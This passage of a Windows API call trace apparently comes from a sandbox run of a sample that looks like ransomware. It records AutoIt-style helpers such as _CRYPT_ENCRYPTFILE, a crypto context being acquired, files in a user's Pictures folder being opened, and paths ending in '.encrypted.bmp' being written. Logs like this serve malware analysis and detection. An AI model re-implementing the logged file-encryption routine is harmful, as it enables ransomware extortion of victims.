lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.800] CharLowerBuffW (in: lpsz="byte[54848]", cchLength=0xb | out: lpsz="byte[54848]") returned 0xb [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.801] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.801] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.801] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.801] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.802] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.802] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.804] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7931) returned 1 [0027.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.804] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.804] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1efb, lpOverlapped=0x0) returned 1 [0027.805] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.805] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1efb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.805] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7931) returned 1 [0027.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\1KmvsODIJKFCpkCm.encrypted.bmp\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0027.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\1KmvsODIJKFCpkCm.encrypted.bmp\r\n", cchWideChar=63, lpMultiByteStr=0xe8f4051fe0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\1KmvsODIJKFCpkCm.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 63 [0027.805] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051310*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0027.805] CloseHandle (hObject=0x1fc) returned 1 [0027.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.806] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.806] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.806] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.806] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.806] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.807] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.808] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.808] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.808] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\desktop.ini", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0027.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\desktop.ini", cchWideChar=42, lpMultiByteStr=0xe8f404ba10, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\desktop.ini", lpUsedDefaultChar=0x0) returned 42 [0027.808] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\desktop.ini" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.808] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=42, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0027.809] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=42, lpWideCharStr=0xe8f406a490, cchWideChar=42 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\desktop.ini") returned 42 [0027.809] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.809] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.809] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.810] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.810] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.810] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.810] CloseHandle (hObject=0x1fc) returned 1 [0027.810] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.810] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.811] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.811] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.814] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.814] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.814] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.814] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.814] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.814] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.814] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.815] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.815] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.815] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.815] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.815] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.816] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.816] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.816] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.816] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 